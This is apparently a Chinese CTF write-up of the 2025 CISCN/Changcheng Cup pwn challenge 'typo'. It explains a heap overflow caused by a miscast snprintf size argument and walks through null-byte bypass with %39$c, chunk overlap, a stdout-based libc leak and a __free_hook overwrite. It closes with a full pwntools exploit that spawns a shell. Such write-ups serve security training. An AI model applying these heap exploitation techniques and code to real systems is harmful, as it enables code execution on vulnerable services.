2025 CISCN & 长城杯 PWN
typo
参考自 2025ciscn&长城杯 半决-pwn 部分解析-先知社区
当时天津半决赛比完后没来得及复现,最近的招商铸盾车联网CTF又出了原题,决定复现一下。
libc版本 2.31。
菜单有add、delete和edit函数,功能如下:



漏洞分析
add中正常申请堆块,并且在堆块fd的位置写入了size。
delete中没有uaf漏洞。
漏洞在edit函数的snprinf函数中,看似对size作了大小校验,如果new_size > old_size
的话,还是使用old_size来进行后续的read。这里漏洞就在于snprinf的参数有问题。
首先看一下snprintf的参数原型:
1
| int snprintf(char *str, size_t size, const char *format, ...);
|
str
: 目标缓冲区,用于存放格式化后的字符串。
size
: 目标缓冲区的大小。这是 snprintf
安全性的关键,它确保最多只写入 size-1
字节,最后加一个空字符(\0
),防止缓冲区溢出。
format
: 格式化字符串,例如 "Name: %s, Age: %d"
。
...
: 可变参数,对应格式化字符串中的 %s
, %d
等占位符。
简单来说,就是把format指向的内容写到str缓冲区里,写size个字节。
而在这题中:
1
| snprintf(*((char **)&heap_list + (int)idx), (size_t)"%lu", new_size, 8LL);
|
第二个参数把"%lu"
字符串直接强转成了size_t,这相当于直接用该字符串的地址当作了size,所以是一个相当大的数字。
调用的时候可以看到地址是相当大的数字。

而第一个参数是堆块的fd位置,所以,这里就会存在一个堆溢出,可以用来溢出修改后边堆块的size进而来进行堆块合并。
但是还有一个问题,那就是,数据是在fd+8的位置开始的,所以要想从数据一直修改到后边堆块,需要先改fd,也就是存放size的地方,如果直接垃圾字符填充会导致size过大(这里修改自己的size是无所谓的),但是我们需要控制的是next_chunk的size和next_chunk的fd(用来对next_chunk进行edit,如果不改fd只改size在edit的时候还是没法溢出),我们想要填充到next_chunk的fd的话,就需要填充满next_chunk的size,如果直接填充垃圾字符到next_chunk的size的话会导致size过大而堆块size不够崩溃。所以需要控制next_chunk的size在合法区间,如0x421,但是这样就会填充\x00,而snprintf遇到\x00会截断,这样就填充不到next_chunk的size了。所以,这里参考大佬的博客,采用**%n$c**替代的方式。
通过:
1 2
| def myencode(payload): return payload.replace(b'\x00',b'%39$c')+b'\x00'
|
而%39$c
就是取栈上偏移39位置的低8字节数据来填充。
因为%39$c位置对应的字节是00,这样在snprintf读入的时候不会因为\x00而截断,在解析的时候会把%39$c
解析成\x00进而读入合法的size。
这里在调试的时候有点问题(发现snprintf的参数在栈上的首偏移不是从6开始的,而是从8开始的)。下图是栈上的内存数据,其中四个位置分别对应**%31、%32、%33、%34**,然后%39对应的就是00。

构造%39修改后结果如图所示。

比如构造%31的话就是如图所示,00变成了0x25,也就是第31个位置的低8字节。

修改完成后,就可以进行堆块重叠了,因为没有show函数,所以需要爆破stdout来泄露libc。
方法就是构造tchache的fd和unsorted的fd重叠,所以依次free两个tcache chunk和修改size后的unsorted chunk,再add回来一个tcache就可以实现两个fd重叠了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| for i in range(10): if i==2: add(i,0x90) continue if i==6: add(i,0x90) continue add(i,0x80)
add(10,0x80) payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x4a1) payload+=p64(0x490)
print(payload) print(myencode(payload))
edit(0,myencode(payload),b'a')
delete(6) delete(2) delete(1)
add(1,0x80)
|

此时,tcache和unsorted虽然fd重叠了,但是没法进行修改,所以需要再次利用上边的方法溢出来修改刚申请的chunk的fd(也就是size数据)改大,再通过该tcache chunk溢出修改到重叠chunk的fd也就是stdout地址。
这里不能直接用snprintf溢出修改stdout地址,因为snprintf会在最后加个\x00导致stdout的低六位被改掉,而正常edit的read不会。
1 2 3 4 5 6 7
| payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x91) payload+=p64(0xa0) edit(0,myencode(payload),b'a') payload=b'a'*0x80+p64(0x401)+b'\x98'+b'\x26' edit(1,str(9999),payload)
|
之后就是修改fd后四位成stdout-8的地址(本地关闭alsr后直接查看就行,我这里是0x9860),为什么要改成stdout-8呢,是因为add申请的时候会对fd写入size,如果直接申请到stdout,会把stdout的flag标志写成0x80这种size而导致崩溃。
之后泄露libc后,再通过前边同样的方法溢出修改tcache的fd到free_hook-8改成system即可。
注意最后写入binsh的时候,也要通过前边对溢出写,因为直接写是在fd+8而不是fd的位置。
1 2 3 4 5
| payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x91) payload+=b'/bin/sh\x00' edit(0,myencode(payload),b'a')
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import * from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(a): return p.recv(a) def ru(a): return p.recvuntil(a) def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc-2.31.so')
def myencode(payload): return payload.replace(b'\x00',b'%39$c')+b'\x00' def add(idx,size): sla(">> ",'1') sla("dex",str(idx)) sla("Size: ",str(size)) def delete(idx): sla(">> ",'2') sla("dex",str(idx)) def edit(idx,payload,data): sla(">> ","3") sla("dex",str(idx)) sla("size of",payload) sa("say",data)
for i in range(10): if i==2: add(i,0x90) continue if i==6: add(i,0x90) continue add(i,0x80)
add(10,0x80) payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x4a1) payload+=p64(0x490) print(payload) print(myencode(payload)) edit(0,myencode(payload),b'a')
delete(6) delete(2) delete(1) add(1,0x80)
payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x91) payload+=p64(0xa0) edit(0,myencode(payload),b'a') payload=b'a'*0x80+p64(0x401)+b'\x98'+b'\x26' edit(1,str(9999),payload)
add(6,0x90) add(2,0x90) payload=p64(0xfbad1800)+p64(0)*3+b'\x00' edit(2,str(9999),payload)
ru(b'\x00'*8) libc_base = get_addr() -0x1ec980 success("libc_base: " + hex(libc_base))
libc.address = libc_base system = libc.sym['system'] free_hook = libc.sym['__free_hook'] ordinal = libc_base + 0x1ecfd0
delete(9) delete(1) payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x91) payload+=p64(free_hook - 8) edit(0,myencode(payload),b'a')
add(11,0x80) add(12,0x80) edit(12,str(9999),p64(system))
payload=p64(0x80) payload=payload.ljust(0x88,b'a') payload+=p64(0x91) payload+=b'/bin/sh\x00' edit(0,myencode(payload),b'a')
delete(11)
p.interactive()
|